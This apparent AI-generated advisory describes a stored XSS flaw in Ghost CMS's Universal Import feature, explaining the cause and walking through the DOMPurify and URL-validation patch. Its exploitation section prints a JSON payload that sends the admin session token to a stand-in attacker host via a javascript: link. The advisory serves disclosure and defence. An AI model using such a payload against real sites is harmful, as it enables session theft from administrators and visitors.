CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-70588

CVE-2026-70588: Stored Cross-Site Scripting via Universal Import in Ghost CMS

Amit Schendel
Amit Schendel
Senior Security Researcher

Aug 5, 2026·7 min read·23 visits

Executive Summary (TL;DR)

A stored Cross-Site Scripting (XSS) vulnerability in Ghost CMS (versions 5.26.0 to 6.54.0) allows administrative users to inject malicious scripts via the Universal Import feature, leading to administrative session hijacking when other users view the imported content.

CVE-2026-70588 is a stored Cross-Site Scripting (XSS) vulnerability in Ghost CMS versions 5.26.0 through 6.54.0. The vulnerability exists within the Universal Import feature of the Ghost Admin interface. When processing imported content from third-party platforms such as Revue, the importer fails to sanitize user-controlled HTML tags, rich-text structured JSON, or link fields before rendering them in the Ghost Admin panel and front-end template rendering contexts.

Vulnerability Overview

Ghost is an open-source, Node.js-based content management system. It exposes a web-based administration control panel called Ghost Admin. Within this administration boundary, high-privileged users have access to import and export utilities, which allow content migrations from legacy Ghost installations and third-party systems like the newsletter platform Revue.

The Universal Import mechanism represents a significant attack surface because it processes structured formats including JSON files and ZIP archives. This ingestion pipeline converts arbitrary external records into schema-conforming database records. During this parsing operation, the application must normalize heterogeneous attributes into internal models such as posts, members, and settings.

CVE-2026-70588 is a stored Cross-Site Scripting (XSS) vulnerability arising from a failure to sanitize input during this normalization process. Specifically, the import engine accepts unsanitized HTML elements and malformed URL protocols inside imported properties. This allows an attacker to inject execution vectors that persist in the database and subsequently execute when administrative users review the records.

Root Cause Analysis

The root cause of CVE-2026-70588 resides in two separate injection pathways in Ghost's content ingestion and rendering architecture. The first pathway involves the feature_image_caption property associated with posts. The system design relies on Handlebars templates, which escape standard HTML entities by default unless marked as a SafeString. To provide formatting flexibility for image captions, developer-defined properties are explicitly wrapped in a Handlebars SafeString class.

However, the backend framework instantiated these SafeString wrappers directly on raw, unvalidated string values retrieved from the database. The system assumed that the administrative ingestion boundaries had already sanitized the input. Because the Universal Import interface lacked validation controls, any HTML elements present in the imported archive were written directly to the database. Upon rendering in the preview modal (modal-post-history.js) or frontend templates (proxy.js), the raw payload executed in the victim's browser context.

The second injection pathway exists in the Revue-specific converter (json-to-html.js). This component parses structured JSON exports from the Revue newsletter platform and generates equivalent HTML tags. The parser mapped the input object's url property directly into standard HTML anchor tags (<a>) without validating the scheme or escaping attributes. This enabled both protocol-based execution (using schemes like javascript:) and HTML attribute breakout (using unescaped double quotes inside the URL attribute field).

Code-Level Analysis

The technical remediation was implemented in commit a8bea3a4ceec4c852b880f4885119453c3d8588e. The fix addresses the vulnerability by introducing two primary defense mechanisms: client and server-side DOM sanitization via DOMPurify and rigid protocol-level URI validation.

In the vulnerable version of the frontend admin controller, the feature_image_caption properties were parsed and rendered dynamically inside the modal-post-history.js file without validation. The patch resolves this by introducing DOMPurify to clean the caption and enforce a strict permit list of allowable tags:

import Component from '@glimmer/component';
import DOMPurify from 'dompurify'; // Added in patch
 
get selectedRevision() {
    const revision = this.revisionList[this.selectedRevisionIndex];
    // Enforce strict sanitization on the image caption
    revision.feature_image_caption = DOMPurify.sanitize(revision.feature_image_caption, {
        ALLOWED_TAGS: ['a', 'b', 'i', 'span'],
        ALLOWED_ATTR: ['href', 'style'],
        ALLOW_DATA_ATTR: false,
        ALLOW_ARIA_ATTR: false
    });
    return revision;
}

Additionally, the patch addresses the template rendering engine (proxy.js) to secure server-side execution. The backend engine instantiates DOMPurify using a virtual DOM environment provided by jsdom. This ensures that even if unsanitized data resides in the database, the server cleanses it prior to instantiating the Handlebars SafeString instance:

const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const DOMPurify = createDOMPurify(new JSDOM('').window);
 
(Array.isArray(data) ? data : [data]).forEach((resource) => {
    // feature_image_caption contains HTML, making it a SafeString
    if (resource.feature_image_caption) {
        // Sanitize the caption prior to declaring it a SafeString
        const sanitizedCaption = DOMPurify.sanitize(resource.feature_image_caption, {
            ALLOWED_TAGS: ['a', 'b', 'i', 'span'],
            ALLOWED_ATTR: ['href', 'style'],
            ALLOW_DATA_ATTR: false,
            ALLOW_ARIA_ATTR: false
        });
        resource.feature_image_caption = new SafeString(sanitizedCaption);
    }
});

Finally, the Revue parser in json-to-html.js was modified to validate the incoming url parameter. Instead of interpolating the raw string directly into the template, the system executes a validator function (getValidURL) that enforces protocol validation and rejects non-standard URI schemes:

const getValidURL = (url) => {
    const normalizedURL = typeof url === 'string' ? url.trim() : '';
    if (!normalizedURL) {
        return '';
    }
    try {
        const parsedURL = new URL(normalizedURL, 'https://example.com');
        if (parsedURL.protocol === 'http:' || parsedURL.protocol === 'https:') {
            return normalizedURL;
        }
    } catch {
        // Invalid URLs are omitted from imported links
    }
    return '';
};

Exploitation & Attack Methodology

To execute this attack, an offensive actor must first acquire administrative credentials or compromise an existing account with import privileges. Since the vulnerability is located behind the authentication wall, the threat actor operates from an authenticated perspective. The execution complexity is classified as high because the attacker must assemble a valid JSON schema or ZIP structure conforming to Ghost's parser.

An attacker begins by preparing an export file containing malicious payloads. For a Revue import exploit, the actor crafts a JSON object representing a post where the image caption or link entity contains an injection payload. The payload can be designed to steal the current session tokens or execute admin-level administrative commands:

{
  "item_type": "link",
  "url": "javascript:fetch('https://attacker.example.com/exfil?session=' + encodeURIComponent(localStorage.getItem('ghost-admin')))"
}

Once the archive is constructed, the attacker uploads it via the Ghost Admin settings portal. Because the parsing engine does not sanitize the input, the payload is successfully stored in the SQL database. When a target administrator reviews the imported content, the browser parses the unescaped script, allowing the attacker to hijack the active session.

Impact Assessment

The security impact of CVE-2026-70588 is substantial, despite its classification of Medium severity under CVSS v3.1. While the vulnerability requires high privileges (PR:H) to perform the initial import, the subsequent execution occurs within the context of any user who views the imported post revisions or templates.

If a victim with elevated administrator privileges accesses the infected post revisions, the malicious JavaScript executes with their active permissions. This allows the script to bypass multi-factor authentication (MFA) controls because it operates within an established, authenticated session. The script can perform actions on behalf of the administrator, such as modifying system settings, adding backdoor accounts, or exfiltrating sensitive subscriber lists.

Additionally, because the vulnerability also impacts the frontend template rendering (proxy.js), unauthenticated external visitors who view the published post might also trigger the script execution. This widens the impact from internal administrative session hijacking to public-facing watering-hole attacks.

Remediation & Patch Analysis

Remediation requires upgrading the Ghost application to version 6.54.1 or higher. The patch fully mitigates the reported attack vectors by applying client-side sanitization, server-side template cleaning, and rigorous schema validation on imports. Administrators should perform this upgrade using the command-line utility: ghost update.

For environments where an immediate upgrade is not feasible, temporary mitigation strategies must be applied. Administrators should restrict import privileges by limiting administrative access to trusted personnel. Additionally, implementing a robust Content Security Policy (CSP) header through the web server (such as Nginx or Cloudflare) will block the execution of inline scripts and unauthorized network connections.

An assessment of the patch indicates that the fix is comprehensive. By utilizing DOMPurify to sanitize HTML attributes and tags at both the API and render levels, and by validating URL protocols in the import processors, the developers have closed the known vectors. However, security teams should continuously audit any custom templates or third-party integrations that leverage Handlebars SafeString wrappers to ensure no similar bypasses exist in other modules.

Official Patches

GhostGitHub Security Advisory GHSA-2gx6-7gx2-wwcf

Fix Analysis (1)

Technical Appendix

CVSS Score
5.0/ 10
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:H/A:L

Affected Systems

Ghost CMS

Affected Versions Detail

Product
Affected Versions
Fixed Version
Ghost
Ghost Foundation
>= 5.26.0, < 6.54.16.54.1
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork
CVSS Severity5.0 (Medium)
Exploit StatusNone
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The application does not neutralize or incorrectly neutralizes user-controlled input before it is placed in output that is used as a web page that is served to other users.

Vulnerability Timeline

Vulnerability officially disclosed and advisory published.
2026-08-04
Patched version v6.54.1 released.
2026-08-04

References & Sources

  • [1]GitHub Security Advisory GHSA-2gx6-7gx2-wwcf
  • [2]Fix Commit a8bea3a4
  • [3]Ghost Pull Request 29635
  • [4]Ghost Release Tag v6.54.1

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•1 day ago•CVE-2026-58197
8.8

CVE-2026-58197: Host Escape and Lateral Movement via Insecure Container Network Defaults in ToolHive

A high-severity access control vulnerability in ToolHive CLI before v0.30.1 and ToolHive Studio before v0.38.0 allows local containerized MCP servers to bypass network isolation. This enables malicious workloads to establish TCP/IP connections to administrative and control plane endpoints exposed on the host loopback interface.

Amit Schendel
Amit Schendel
7 views•8 min read
•1 day ago•CVE-2026-63405
5.9

CVE-2026-63405: Insufficient Verification of Data Authenticity in AnyCable Pusher REST API

AnyCable is a real-time communication server. Prior to version 1.6.15, its Pusher-compatible REST API suffered from an authentication bypass vulnerability because it failed to verify that the request body matched the signature-validated body_md5 parameter. This allows attackers to perform replay attacks with modified body contents.

Amit Schendel
Amit Schendel
9 views•5 min read
•1 day ago•CVE-2026-64847
6.8

CVE-2026-64847: Indefinite Denial of Service via Undrained Stderr in AnyIO Process Pool Workers

A denial-of-service vulnerability exists in AnyIO prior to version 4.14.2. Standard error streams of process-pool workers are connected to an operating system pipe that is never drained by the parent process. This allows a worker to fill the pipe buffer and deadlock indefinitely.

Amit Schendel
Amit Schendel
7 views•6 min read
•1 day ago•CVE-2026-63349
7.0

CVE-2026-63349: Privilege Dropping Bypass and Denial of Service in AnyIO Subprocess Module

CVE-2026-63349 is a critical privilege-dropping bypass vulnerability in the AnyIO asynchronous framework (versions 4.14.0 and 4.14.1) on POSIX platforms. Due to a variable assignment typo, supplementary groups specified by the developer are not correctly propagated to the execution backend, resulting in subprocesses retaining the parent process's elevated supplementary group permissions.

Alon Barad
Alon Barad
13 views•5 min read
•1 day ago•CVE-2026-63406
5.9

CVE-2026-63406: Information Disclosure via Insecure Telemetry and Hardcoded Credentials in AnyCable-Go

CVE-2026-63406 is an information disclosure vulnerability in AnyCable-go prior to version 1.6.15. The built-in telemetry client is enabled by default with a hardcoded public authentication token ('secret'). This client digests highly sensitive configuration parameters and command-line arguments, including JWT secrets and RPC secrets, into a stable SHA-256 fingerprint. This fingerprint is sent over public networks, exposing those administrative secrets to offline dictionary and brute-force attacks if intercepted.

Alon Barad
Alon Barad
7 views•5 min read
•1 day ago•CVE-2026-84992
6.1

CVE-2026-84992: Cross-Site Scripting (XSS) via Fenced Code Block Parsing in md-editor-v3

CVE-2026-84992 is a Cross-Site Scripting (XSS) vulnerability affecting md-editor-v3 before version 6.5.4. It occurs because the fenced-code block language parser directly interpolates unescaped language metadata into unquoted HTML attributes inside the custom rendering callback. This bypasses the built-in XSSPlugin which runs during the parsing phase, before rendering.

Amit Schendel
Amit Schendel
9 views•6 min read